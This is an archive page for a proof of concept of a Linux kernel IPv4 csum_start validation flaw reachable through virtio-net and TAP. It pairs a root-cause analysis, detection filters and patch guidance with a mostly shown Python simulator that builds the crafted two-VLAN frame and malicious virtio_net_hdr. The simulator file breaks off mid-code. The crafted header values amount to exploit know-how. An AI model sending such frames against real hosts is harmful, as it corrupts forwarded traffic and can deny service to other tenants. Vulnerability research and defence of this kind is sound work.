PoC Archive PoC Archive
CVE-2026-99999 category: network CVSS 9.3 (CRITICAL)
Patched

CVE-2026-99999 — Linux Kernel IPv4 csum_start Validation Flaw (PwnEscape)

Published: 2026-11-25 • Researcher: 01luyicheng (PoC author); Paulos (discovery and report, per repo README); Michael S. Tsirkin (upstream fix series, per repo README)

Target software Linux kernel IPv4 stack — virtio-net/TAP header translation at ingress (__virtio_net_hdr_to_skb), checksum completion and egress fragmentation (skb_checksum_help, ip_do_fragment)
Affected versions Introduced in 2.6.27 by commit f43798c27684 (2008); affected through the pre-fix releases. Fixed in 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.57, 7.2.11 and 7.3 (upstream README; the worklist NVD product and version-range lists are empty)
Status PoC
Severity Critical · CVSS 9.3
CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-99999
Category
network
Affected product
Linux kernel IPv4 stack — virtio-net/TAP header translation at ingress (__virtio_net_hdr_to_skb), checksum completion and egress fragmentation (skb_checksum_help, ip_do_fragment)
Affected versions
Introduced in 2.6.27 by commit f43798c27684 (2008); affected through the pre-fix releases. Fixed in 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.57, 7.2.11 and 7.3 (upstream README; the worklist NVD product and version-range lists are empty)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-07
Author / Researcher01luyicheng (PoC author); Paulos (discovery and report, per repo README); Michael S. Tsirkin (upstream fix series, per repo README)
CVE / AdvisoryCVE-2026-99999
Categorynetwork
SeverityCritical
CVSS Score9.3 (CVSSv3.1: AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, per the CNA record cited in the repo README)
StatusPoC
TagsLinux-kernel, IPv4, virtio-net, TAP, checksum-offload, header-corruption, CWE-20, KVM, QEMU, simulation-only
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel IPv4 stack — virtio-net/TAP header translation at ingress (__virtio_net_hdr_to_skb), checksum completion and egress fragmentation (skb_checksum_help, ip_do_fragment)
Versions AffectedIntroduced in 2.6.27 by commit f43798c27684 (2008); affected through the pre-fix releases. Fixed in 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.57, 7.2.11 and 7.3 (upstream README; the worklist NVD product and version-range lists are empty)
Language / PlatformC kernel code; Linux on KVM/QEMU hosts with virtio-net or TAP ingress feeding an IPv4 forwarding egress path where checksums complete in software. PoC: Python 3.6+, standard library only
Authentication RequiredNo
Network Access RequiredYes — crafted layer-2 frames from a guest VM or TAP peer (CVSS AV:L)

Summary

CVE-2026-99999 is a Linux kernel IPv4 checksum handling flaw in which a virtio-net or TAP sender can supply frame-relative checksum metadata whose checksum start offset passes the ingress guard but does not point at the transport header. After VLAN decapsulation moves the packet data pointer, the software checksum helper writes its folded checksum into the IPv4 header instead of the transport checksum field, allowing an attacker to corrupt the version and header-length byte, or, in an unverified variant, the flags and fragment offset. The upstream fix adds an IPv4 checksum-start validation before checksum completion, and affected kernels span releases from 2.6.27 up to the fixed 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.57, 7.2.11 and 7.3 trees. The archived repository is a simulation-only PoC: it models frame construction, the ingress guard, the checksum write and the fragmenter consequence, but it sends no packets and does not trigger a live kernel.

Vulnerability Details

Root Cause

A frame entering through TUN/TAP or virtio-net carries a virtio_net_hdr whose csum_start is an offset from the start of the frame. The ingress translation in __virtio_net_hdr_to_skb() only requires skb_transport_offset >= 20, so a value that does not actually point at the transport header is still accepted. With two stacked 802.1Q tags the real IPv4 header begins at frame offset 22, and after VLAN decapsulation the skb->data pointer advances while the stored checksum start offset does not, so the offset is re-interpreted against a different base. In the IPv4 output path (software checksum completion, not GSO) skb_checksum_help() sums from csum_start to the end of the data, folds the result to 16 bits, and writes it at csum_start + csum_offset; with csum_start = 22 and csum_offset = 0 that write lands on IPv4 bytes 0–1, and with csum_offset = 6 it lands on the Flags/Fragment Offset field. The upstream fix commit 6785011f8b16abf40b1e9d8b2e332232b3e68822 adds an ip_check_csum_start() validation before the checksum is completed.

Attack Vector

An attacker who controls a guest VM’s virtio-net backend or a TAP peer sends a two-VLAN Ethernet frame (Ethernet + VLAN 1 + VLAN 2 + IPv4 + UDP) together with a virtio_net_hdr that sets csum_start = 22 and csum_offset = 0 (or 6). The value 22 passes the >= 20 ingress guard, while the real transport header sits elsewhere; single-tag values 0 and 14 are rejected. The frame must then traverse an IPv4 forwarding path on the host that performs software checksum completion and egress fragmentation. csum_offset = 0 is the measured path; csum_offset = 6 is a hypothesis that the upstream PoC does not execute against a live kernel.

Impact

On the measured path, the attacker influences the IPv4 header length in forwarded fragments: the written checksum’s high byte becomes 0x4F, so IHL goes from 5 to 15 and ip_do_fragment() copies a 60-byte header, shifting the IP payload by 40 bytes while keeping a valid IP checksum. The measured geometry (skb_headlen = 28) also reads 32 bytes past the linear region, but those bytes were zero in every measured run, so no host memory disclosure was observed; guest-to-host memory disclosure or VM escape is not verified. Reassembly disruption via the Flags/Fragment Offset variant is also unverified. The realistic demonstrated impact is corrupted forwarded IPv4 fragments and potential denial of service, not a proven escape.

Environment / Lab Setup

Output
OS:          Linux host with KVM/QEMU; repo reports measurements on kernel 7.0.0-38 (v100)
Target:      Pre-fix Linux kernel; virtio-net or TAP ingress, IPv4 forwarding egress
             with software checksum completion and fragmentation
Attacker:    Guest VM able to emit virtio-net frames, or a TAP peer
Tools:       Python 3.6+ (standard library only); optional kernel headers;
             tcpdump/pcap tooling for host-side evidence

Setup Steps

Shell script
1
2
3
4
git clone https://github.com/01luyicheng/CVE-2026-99999
cd CVE-2026-99999

python3 CVE-2026-99999_pwnescape.py --simulate

The README also references an out-of-tree, root-required host-side TAP reproduction (run.sh in the author’s verification bundle) used to obtain the 2026-11-06 evidence; that script is not part of this repository and is not archived here.

Proof of Concept

Step-by-Step Reproduction

  1. Inspect the model — open CVE-2026-99999_pwnescape.py; the simulation builds Ethernet + two VLAN tags + IPv4 + UDP, so the IPv4 header starts at frame offset 22.

    Shell script
    1
    
    python3 CVE-2026-99999_pwnescape.py --simulate -n 1 -f 4 -c 0
  2. Attach the malicious virtio header — the tool packs virtio_net_hdr with flags = VIRTIO_NET_HDR_F_NEEDS_CSUM, csum_start = 22 and csum_offset = 0, which passes the modeled skb_transport_offset >= 20 guard (values 0 and 14 are rejected).

  3. Model the checksum write — the tool folds the one’s-complement sum from offset 22 to the end of the frame and writes the 16-bit result at frame offset 22, i.e. IPv4 byte 0. The payload is tuned so the high byte is 0x4F, making IHL 15.

  4. Model the fragmenter — each fragment is rebuilt with hlen = IHL * 4 = 60 bytes, and the tool prints fragment offsets, MF flags and byte counts, plus a geometry disclaimer that this short simulated packet does not itself produce the measured out-of-bounds read.

  5. Model the unverified variant — -c 6 writes the checksum over the Flags/Fragment Offset byte; the tool labels the result as a hypothesis, not a live-kernel result.

Exploit Code

See CVE-2026-99999_pwnescape.py for the full simulator (frame builder, virtio_net_hdr packer, checksum folding, fragment builder). The upstream notes and self-review are in upstream-README.md and upstream-REVIEW.md.

The essential frame shape, condensed from the archived source:

Python
1
2
3
4
5
6
7
import struct

eth   = b"\x00" * 12 + b"\x08\x00"
vlans = b"\x81\x00\x00\x01" + b"\x81\x00\x00\x02"   # two 802.1Q tags
ip_start = len(eth) + len(vlans)                   # 22 -> passes the >= 20 guard

vnet_hdr = struct.pack("<BBHHHH", 1, 0, 0, 0, ip_start, 0)

Expected Output

Representative simulator output for --simulate -n 1 -c 0 (exact word and sizes are payload-dependent; output shape taken from the archived source):

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  CVE-2026-99999 (PwnEscape) — Exploit Chain Simulation  (v6.0)
  [Step 1] Frame: Eth(14B) + 2xVLAN(8B) + IP(20B) + UDP(8B) + payload(32B) = 82B
           IPv4 starts at frame offset 22
  [Step 2] virtio_net_hdr: csum_start=22, csum_offset=0 (little-endian)
           bytes = 01000000000016000000
           ingress guard: skb_transport_offset(22) >= 20 -> accepted
  [Step 3] skb_checksum_help():
           sum[22..end] -> 0x4F??, written at frame offset 22 = IPv4 byte 0 (Version+IHL)
           IPv4 byte0: 0x45 -> 0x4F (version 4, IHL 15)
           -> IHL 5 -> 15 (60-byte header); the IP payload shifts by 40 bytes
  [Step 5] Resulting fragment byte counts:
           Frag 0: 146B (Eth 14 + VLANs 8 + IP 60 + data 64)
  Simulation complete - IHL corruption path modelled.
  VULNERABLE kernel: IPv4 bytes 0-1 are overwritten and IHL can
  become 15; the fragmenter then shifts the payload by 40 bytes.
  MEASURED (v100): yes - 30/30 fragments with ver_ihl=0x4F.
  MEASURED memory disclosure: none (the 32 OOB bytes were zero).
  PATCHED kernel:    ip_check_csum_start() rejects the write.

Fragment byte counts vary with -f and the payload length; the point to verify is the 0x45 -> 0x4F version/IHL transition and hlen=60 in the fragment lines.

Detection & Indicators of Compromise

  • Egress IPv4 fragments whose version/IHL byte is 0x4F (IHL 15, 60-byte header) and whose MF flag is set — the measured corruption signature.
  • Fragmented datagrams where the IP payload appears shifted by 40 bytes relative to the original packet, yet the IP header checksum remains valid.
  • Ethernet frames from a guest or TAP peer carrying two stacked 802.1Q tags with virtio-net checksum metadata pointing into the IPv4 header (rather than the UDP/TCP header).
  • No kernel log signature is documented for this bug; the upstream evidence is a host-side TAP pcap/trace pair, so packet capture on the TAP/bridge is the primary detection source.
  • Unexpected guest network behaviour (malformed or overlapping fragments, forwarding anomalies) on hosts that bridge untrusted guests to IPv4 forwarding paths.

Example packet filter on the host-side TAP/bridge interface:

Shell script
1
tcpdump -ni tap0 -vv 'ip and ((ip[0] & 0x0f) == 15) and ((ip[6] & 0x20) != 0)'

SIEM / IDS rule (example detection expression):

Output
1
2
3
4
5
alert when ipv4
  and ipv4.hdr_len == 60
  and ipv4.flags.mf == 1
  and frame.vlan_id.count >= 2
  and source.zone == guest

Remediation

ActionDetail
PatchUpgrade to 5.10.272+, 5.15.223+, 6.1.190+, 6.6.159+, 6.12.113+, 6.18.57+, 7.2.11+ or 7.3 (fix commit 6785011f8b16abf40b1e9d8b2e332232b3e68822, plus the stable backports listed in the references). Confirm against the distribution vendor advisory.
WorkaroundRestrict who can inject frames: do not bridge untrusted guests’ virtio-net backends (TAP or vhost-user) to sensitive networks, and keep untrusted guests off L2 paths that forward into a host IPv4 egress path performing software checksum completion. The upstream README notes a fuller input-side validation was still forthcoming.
Config HardeningAudit virtio-net/TAP configurations on KVM/QEMU hosts, limit TAP device ownership and /dev/net/tun access to privileged management, segment guest bridges, monitor TAP traffic for IHL 15 fragments, and track the kernel stable release rather than relying on /proc/kallsyms (the fix helper is static inline and may be absent even when patched).

References

Notes

Auto-ingested from https://github.com/01luyicheng/CVE-2026-99999 on 2026-11-25.

Review verdict: this is a genuine vulnerability-specific PoC, but a limited one. It is a single-file Python simulator that constructs the Eth + 2xVLAN + IPv4 + UDP frame, packs the malicious virtio_net_hdr, models the ingress guard and the folded checksum write, and rebuilds the egress fragments. It performs no network I/O, needs no root, and cannot trigger the kernel bug by itself; the repo states a root-required, out-of-tree host-side TAP reproduction was used for the 2026-11-06 evidence, and that path is not included. Status is therefore PoC, not Weaponized. The csum_offset = 6 Flags/Fragment Offset variant is an unexecuted hypothesis, and the 32-byte over-read past skb_headlen contained zeros in every measured run, so no memory disclosure or guest escape is demonstrated.

License status: the upstream repository has no LICENSE file; the source files and README are archived with attribution for authorized research only. CWE-20 per the worklist. The upstream README states no NVD entry had been published for this CVE even though the worklist carries an NVD-shaped record; treat version ranges and severity as CNA/upstream claims and confirm with the references. Not executed during ingestion; no archive index, content, or docs files were modified.

Run only against systems you own or have explicit written authorization to test.

CVE-2026-99999_pwnescape.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/01luyicheng/CVE-2026-99999 (see README for attribution/license)
"""
CVE-2026-99999 (PwnEscape) PoC — Linux Kernel IPv4 csum_start Validation Bug
CVSS 9.3 (CRITICAL) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Discovered by: Paulos
CNA: kernel.org | Published: 2026-10-15 | NVD: no entry published for this CVE
CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999

VULNERABILITY SUMMARY
  A guest VM (or any TAP/virtio-net sender) can supply a virtio_net_hdr whose
  csum_start is an offset from the start of the frame.  The ingress check
  (__virtio_net_hdr_to_skb) only requires skb_transport_offset >= 20, so a
  value that does not point at the transport header is still accepted.
  After VLAN decapsulation the data pointer moves but csum_start does not, so
  in the IPv4 output path skb_checksum_help() can write its 16-bit result into
  the IPv4 header itself.  With two VLAN tags (csum_start=22) the write lands
  on IP bytes 0–1; when the folded checksum's first byte is 0x4F, IHL becomes
  15 (60 bytes) and ip_do_fragment() copies a 60-byte header.

  VERIFIED (2026-11-06, v100 7.0.0-38): header corruption and a 40-byte payload
  shift are reproducible (30/30 fragments with ver_ihl=0x4F).
  NOT VERIFIED: the 32 bytes read past skb_headlen were zero in every run, so
  no host-kernel memory disclosure was observed; guest-to-host end-to-end
  triggering and escape remain unproven.

AFFECTED VERSIONS
  Introduced by f43798c27684 (2008, v2.6.27)
  Affected: 2.6.27 <= version < matching fixed release
  Fix commit: 6785011f8b16abf40b1e9d8b2e332232b3e68822
  Fixed: 5.10.272+, 5.15.223+, 6.1.190+, 6.6.159+, 6.12.113+, 6.18.57+,
         7.2.11+, 7.3

REFERENCES
  CVE record: https://www.cve.org/CVERecord?id=CVE-2026-99999 (CNA: kernel.org)
  LKML:       https://lore.kernel.org/netdev/...  (Michael S. Tsirkin patch)
  Kernel:     https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git

DISCLAIMER: For authorised security research in isolated lab environments ONLY.
Unauthorized use is illegal. Obtain written permission before testing any target.
"""

import socket
import struct
import sys
import os
import argparse

# ── Constants ────────────────────────────────────────────────────────────────

ETH_P_IP     = 0x0800
IP_PROTO_UDP = 17
IP_MF_FLAG   = 0x2000
MAX_PAYLOAD  = 65515

VIRTIO_NET_HDR_SZ = 10

VIRTIO_NET_HDR_F_NEEDS_CSUM = 0x01
VIRTIO_NET_HDR_GSO_NONE     = 0x00

# ── virtio_net_hdr ───────────────────────────────────────────────────────────
# struct virtio_net_hdr {
#   u8 flags;       // VIRTIO_NET_HDR_F_* (0 = no offload)
#   u8 gso_type;    // VIRTIO_NET_HDR_GSO_* (0 = none)
#   __virtio16 hdr_len;
#   __virtio16 gso_size;
#   __virtio16 csum_start;   // <-- offset into packet where checksum starts
#   __virtio16 csum_offset;  // <-- offset within checksum region
# };
# With csum offload: flags = VIRTIO_NET_HDR_F_NEEDS_CSUM (1)
# Normal csum_start = 34 (Eth 14 + IP 20 = UDP header) on a single Ethernet tag
# The BUG: csum_start is frame-relative, so after VLAN stripping it can point
# into the IPv4 header.  0 and 14 are rejected (guard requires >= 20);
# with two VLAN tags csum_start = 22 lands on IPv4 byte 0.

def build_virtio_net_hdr(csum_start: int = 22, csum_offset: int = 0) -> bytes:
    """
    Build a virtio_net_hdr with optional malicious csum_start.

    csum_start is an offset from the START OF THE FRAME handed to the kernel.

    Normal (correct) values for UDP checksum offload over a single Ethernet tag:
      flags       = 0x01 (VIRTIO_NET_HDR_F_NEEDS_CSUM)
      csum_start  = 34  (Eth 14 + IPv4 20 = start of UDP header)
      csum_offset = 6   (offset of UDP checksum field within UDP header)

    Crafted values for this CVE (two VLAN tags, IPv4 starts at frame offset 22):
      csum_start  = 22  ← passes the ">= 20" ingress guard
      csum_offset = 0   (write lands on IPv4 bytes 0–1 → version/IHL)
      OR:
      csum_start  = 22
      csum_offset = 6   (write lands on IPv4 byte 6 = Flags/FragOffset)

    NOTE: csum_start = 0 or 14 (single Ethernet, real IPv4 start) is rejected
    by __virtio_net_hdr_to_skb() with -EINVAL, because the guard requires
    skb_transport_offset >= 20. The fields below are little-endian per the
    virtio spec.
    """
    flags        = VIRTIO_NET_HDR_F_NEEDS_CSUM
    gso_type     = VIRTIO_NET_HDR_GSO_NONE
    hdr_len      = 0
    gso_size     = 0
    csum_start_  = csum_start  & 0xFFFF
    csum_offset_ = csum_offset & 0xFFFF
    return struct.pack('<BBHHHH', flags, gso_type, hdr_len, gso_size,
                       csum_start_, csum_offset_)


# ── IP Header ────────────────────────────────────────────────────────────────

def ip_checksum(header_bytes: bytes) -> int:
    """RFC 791 one's complement checksum."""
    if len(header_bytes) % 2:
        header_bytes += b'\x00'
    s = 0
    for i in range(0, len(header_bytes), 2):
        s += (header_bytes[i] << 8) + header_bytes[i + 1]
    s = (s >> 16) + (s & 0xFFFF)
    s += s >> 16
    return (~s) & 0xFFFF


def build_ip_header(
    src_ip: str, dst_ip: str,
    payload_len: int,
    identification: int,
    fragment_offset: int = 0,
    mf: bool = False,
    protocol: int = IP_PROTO_UDP,
    ihl_bytes: int = 20,
) -> bytes:
    """
    Build an IPv4 header whose `ihl_bytes` is 20..60 (multiple of 4).
    Options are zero-filled. Raises ValueError for invalid arguments.

    `payload_len` is the number of bytes after the header, so the total length
    field is ihl_bytes + payload_len.
    """
    if not (0 <= payload_len <= MAX_PAYLOAD):
        raise ValueError(f"payload_len {payload_len} out of safe range 0–{MAX_PAYLOAD}")
    if ihl_bytes < 20 or ihl_bytes > 60 or ihl_bytes % 4:
        raise ValueError(f"ihl_bytes {ihl_bytes} must be 20..60 and a multiple of 4")

    version_ihl  = 0x40 | (ihl_bytes // 4)
    tos          = 0x00
    total_len    = ihl_bytes + payload_len
    flags_offset = (fragment_offset & 0x1FFF) | (IP_MF_FLAG if mf else 0)
    ttl          = 64

    header_no_cksum = struct.pack(
        '!BBHHHBBH4s4s',
        version_ihl, tos, total_len, identification,
        flags_offset, ttl, protocol, 0,
        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
    )
    header_no_cksum += b'\x00' * (ihl_bytes - 20)   # zero-filled options
    cksum = ip_checksum(header_no_cksum)
    header = bytearray(header_no_cksum)
    header[10] = (cksum >> 8) & 0xFF
    header[11] = cksum & 0xFF
    return bytes(header)


# ── Simulate the exploit chain ───────────────────────────────────────────────

def fold16(sum32: int) -> int:
    """Fold a 32-bit one's complement sum into 16 bits (end-around carry)."""
    while sum32 > 0xFFFF:
        sum32 = (sum32 & 0xFFFF) + (sum32 >> 16)
    return sum32


def csum_write_word(frame_bytes: bytes, csum_start: int) -> int:
    """
    The 16-bit value skb_checksum_help() writes: one's complement of the sum
    from csum_start to the end of the data (odd trailing byte is padded left).
    """
    s = 0
    for i in range(csum_start, len(frame_bytes) - 1, 2):
        s += (frame_bytes[i] << 8) | frame_bytes[i + 1]
    if (len(frame_bytes) - csum_start) % 2:
        s += frame_bytes[-1] << 8
    return (~fold16(s)) & 0xFFFF


def simulate_csum_start_corruption(frame_bytes: bytes, csum_start: int,
                                   csum_offset: int,
                                   ip_start: int) -> tuple[bytes, int, int]:
    """
    Simulate __virtio_net_hdr_to_skb() + skb_checksum_help() for the case where
    csum_start does not point at the transport header.

      * ingress guard: skb_transport_offset < 20 → -EINVAL (no write happens)
      * otherwise: sum [csum_start, end], write 16 bits at csum_start+csum_offset

    All offsets are frame-relative, exactly like skb->csum_start / headroom.

    Returns (corrupted_frame, write_offset_in_frame, written_word).
    """
    if csum_start < 20:
        raise ValueError(
            f"-EINVAL: skb_transport_offset({csum_start}) < 20 "
            f"(csum_start must be >= 20 to reach the checksum code)"
        )
    word = csum_write_word(frame_bytes, csum_start)
    target = csum_start + csum_offset
    if target + 1 >= len(frame_bytes):
        raise ValueError(f"write target {target} is outside the frame")
    frame = bytearray(frame_bytes)
    frame[target] = (word >> 8) & 0xFF
    frame[target + 1] = word & 0xFF
    return bytes(frame), target, word


def field_name(ip_offset: int) -> str:
    """
    Name the IPv4 header field at a given offset (RFC 791 layout).

      offset  0: Version+IHL     ← csum_offset=0 (with csum_start=22) corrupts this
      offset  1: TOS
      offset  2-3: Total Length
      offset  4-5: Identification
      offset  6-7: Flags/Frag Offset ← csum_offset=6 corrupts byte 6
      offset  8: TTL
      offset  9: Protocol
      offset 10-11: Header Checksum
      offset 12-15: Source IP
      offset 16-19: Destination IP
    """
    FIELD_NAMES = {
        0: "Version+IHL",
        1: "TOS",
        2: "Total Length (lo)",
        3: "Total Length (hi)",
        4: "Identification (lo)",
        5: "Identification (hi)",
        6: "Flags/FragOffset (lo)",
        7: "Flags/FragOffset (hi)",
        8: "TTL",
        9: "Protocol",
        10: "Header Checksum (lo)",
        11: "Header Checksum (hi)",
        12: "Source IP 0",  13: "Source IP 1",  14: "Source IP 2",  15: "Source IP 3",
        16: "Dest IP 0",    17: "Dest IP 1",    18: "Dest IP 2",    19: "Dest IP 3",
    }
    return FIELD_NAMES.get(ip_offset, f"Byte {ip_offset}")


# ── Simulation ───────────────────────────────────────────────────────────────

def run_simulation(num_packets: int = 3, num_fragments: int = 4,
                   csum_offset: int = 0) -> None:
    """
    Standalone simulation of the full exploit chain (no network required).
    Shows every step: frame construction → ingress guard → checksum write
    → header field corruption → fragmentation consequence.

    Key csum_offset values (both with csum_start=22 on a two-VLAN frame):
      0  → IPv4 bytes 0–1 → IHL 15 when the written byte0 is 0x4F
      6  → Flags/FragOffset byte → reassembly metadata corruption (hypothesis)
    """
    FRAG_SIZE = 64
    src_ip = "10.0.0.2"
    dst_ip = "10.0.0.1"

    print("\n" + "=" * 72)
    print("  CVE-2026-99999 (PwnEscape) — Exploit Chain Simulation  (v6.0)")
    print("  No network access required; all steps computed locally.")
    print("=" * 72)

    for pkt in range(num_packets):
        identification = 0xABCD + pkt
        print(f"\n─── Datagram {pkt + 1}/{num_packets} "
              f"(identification=0x{identification:04X}) ───")

        # Step 1: Build Eth + VLAN 1 + VLAN 2 + IPv4 + UDP
        eth_header = (b'\x00\x00\x00\x00\x00\x01'
                      b'\x00\x00\x00\x00\x00\x02'
                      + struct.pack('!H', ETH_P_IP))
        vlan_tags  = struct.pack('!HH', 0x8100, 1) + struct.pack('!HH', 0x8100, 2)
        ip_start   = len(eth_header) + len(vlan_tags)      # 22 with two VLAN tags
        csum_start = ip_start                             # >= 20, passes the guard

        udp_payload = bytearray(f"POC{pkt:04d}DATA".encode().ljust(32, b'\x00')[:32])
        udp_header  = struct.pack('!HHHH',
                                  40000 + pkt, 31337, 8 + len(udp_payload), 0)
        ip_header   = build_ip_header(src_ip, dst_ip,
                                       len(udp_header) + len(udp_payload),
                                       identification, mf=True)
        frame_prefix = eth_header + vlan_tags + ip_header + udp_header

        # The written word is payload-dependent. Tune one payload byte until the
        # folded checksum's high byte is 0x4F (IHL=15), like the real PoC does.
        udp_payload[-2] = 0
        for attempt in range(256):
            udp_payload[-2] = attempt
            frame = frame_prefix + bytes(udp_payload)
            word = csum_write_word(frame, csum_start)
            if word >> 8 == 0x4F:
                break

        print(f"  [Step 1] Frame: Eth({len(eth_header)}B) + 2xVLAN({len(vlan_tags)}B) + "
              f"IP({len(ip_header)}B) + UDP({len(udp_header)}B) + "
              f"payload({len(udp_payload)}B) = {len(frame)}B")
        print(f"           IPv4 starts at frame offset {ip_start}")

        # Step 2: Attach crafted virtio_net_hdr
        vnh = build_virtio_net_hdr(csum_start=csum_start, csum_offset=csum_offset)
        print(f"  [Step 2] virtio_net_hdr: csum_start={csum_start}, "
              f"csum_offset={csum_offset} (little-endian)")
        print(f"           bytes = {vnh.hex()}")
        print(f"           ingress guard: skb_transport_offset({csum_start}) >= 20 "
              f"-> accepted")
        print(f"           (csum_start 0 / 14 would be rejected with -EINVAL)")

        # Step 3: Simulate skb_checksum_help() corruption
        corrupted, target, word = simulate_csum_start_corruption(
            frame, csum_start, csum_offset, ip_start)
        ip_off   = target - ip_start
        ip_bytes = corrupted[ip_start:]
        ihl      = ip_bytes[0] & 0x0F
        fn       = field_name(ip_off)
        print(f"  [Step 3] skb_checksum_help():")
        print(f"           sum[{csum_start}..end] -> 0x{word:04X}, written at "
              f"frame offset {target} = IPv4 byte {ip_off} ({fn})")
        print(f"           IPv4 byte0: 0x{frame[ip_start]:02X} -> 0x{ip_bytes[0]:02X} "
              f"(version 4, IHL {ihl})")
        print(f"           IPv4 byte1 (TOS): 0x{frame[ip_start + 1]:02X} -> "
              f"0x{ip_bytes[1]:02X}")

        if csum_offset == 0:
            if ihl == 15:
                print(f"           -> IHL 5 -> 15 (60-byte header); the IP payload "
                      f"shifts by 40 bytes")
                print(f"              (32 payload bytes are absorbed into the header)")
            else:
                print(f"           -> IHL 5 -> {ihl}; IHL=15 requires the written "
                      f"byte0 to be 0x4F (payload-dependent)")
            print(f"           [real measured case, not this simulated packet]")
            print(f"           -> geometry: skb_headlen=28, data_len=8000")
            print(f"           -> ip_do_fragment() reads 32 bytes past the linear data")
            print(f"              (those bytes were ZERO in every measured run: "
                  f"no disclosure)")
        elif csum_offset == 6:
            print(f"           -> Flags/FragOffset 0x"
                  f"{frame[ip_start + 6]:02X}{frame[ip_start + 7]:02X} -> 0x"
                  f"{ip_bytes[6]:02X}{ip_bytes[7]:02X} "
                  f"(hypothesis, not executed on a live kernel)")
        else:
            print(f"           -> IPv4 byte {ip_off} ({fn}) corrupted")

        # A corrupted IHL changes the header the fragmenter builds. With
        # csum_offset=0 and a tuned payload, ihl == 15 -> 60-byte header.
        frag_ihl = ihl * 4 if (csum_offset == 0 and 20 <= ihl * 4 <= 60) else 20

        # Step 4: Effect on the fragments built by ip_do_fragment()
        print(f"  [Step 4] Effect on IPv4 egress fragments "
              f"(header hlen={frag_ihl}B):")
        for frag_idx in range(num_fragments):
            is_last       = (frag_idx == num_fragments - 1)
            offset_units  = frag_idx * (FRAG_SIZE // 8)
            payload_len   = 8 if is_last else FRAG_SIZE
            frag_ip       = build_ip_header(src_ip, dst_ip, payload_len,
                                             identification, offset_units,
                                             not is_last, ihl_bytes=frag_ihl)
            print(f"           Frag {frag_idx}: offset={offset_units * 8}B, "
                  f"MF={not is_last}, hlen={len(frag_ip)}B, "
                  f"corrupted field={fn} (IPv4 byte {ip_off})")

        # Step 5: Resulting fragment sizes
        print(f"  [Step 5] Resulting fragment byte counts:")
        for frag_idx in range(num_fragments):
            is_last      = (frag_idx == num_fragments - 1)
            offset_units = frag_idx * (FRAG_SIZE // 8)
            payload_len  = 8 if is_last else FRAG_SIZE
            frag_ip      = build_ip_header(src_ip, dst_ip, payload_len,
                                            identification, offset_units,
                                            not is_last, ihl_bytes=frag_ihl)
            tag        = f"FRAG{frag_idx}".encode().ljust(payload_len, b'\x00')[:payload_len]
            frag_bytes = eth_header + vlan_tags + frag_ip + tag
            print(f"           Frag {frag_idx}: {len(frag_bytes)}B "
                  f"(Eth 14 + VLANs 8 + IP {len(frag_ip)} + data {payload_len})")

        pkt_len = len(ip_header) + len(udp_header) + len(udp_payload)
        print(f"  [Geometry] simulated IP packet = {pkt_len}B, hlen={frag_ihl}B;")
        print(f"             the header copy stays inside this short linear packet, so")
        print(f"             the model does NOT produce an out-of-bounds read. The")
        print(f"             measured case needs an 8000B paged payload with")
        print(f"             skb_headlen=28 (see ~/cve-2026-99999-verify/report.md).")

    print("\n" + "=" * 72)
    if csum_offset == 0:
        print("  Simulation complete - IHL corruption path modelled.")
        print("  VULNERABLE kernel: IPv4 bytes 0-1 are overwritten and IHL can")
        print("  become 15; the fragmenter then shifts the payload by 40 bytes.")
        print("  MEASURED (v100): yes - 30/30 fragments with ver_ihl=0x4F.")
        print("  MEASURED memory disclosure: none (the 32 OOB bytes were zero).")
        print("  PATCHED kernel:    ip_check_csum_start() rejects the write.")
    else:
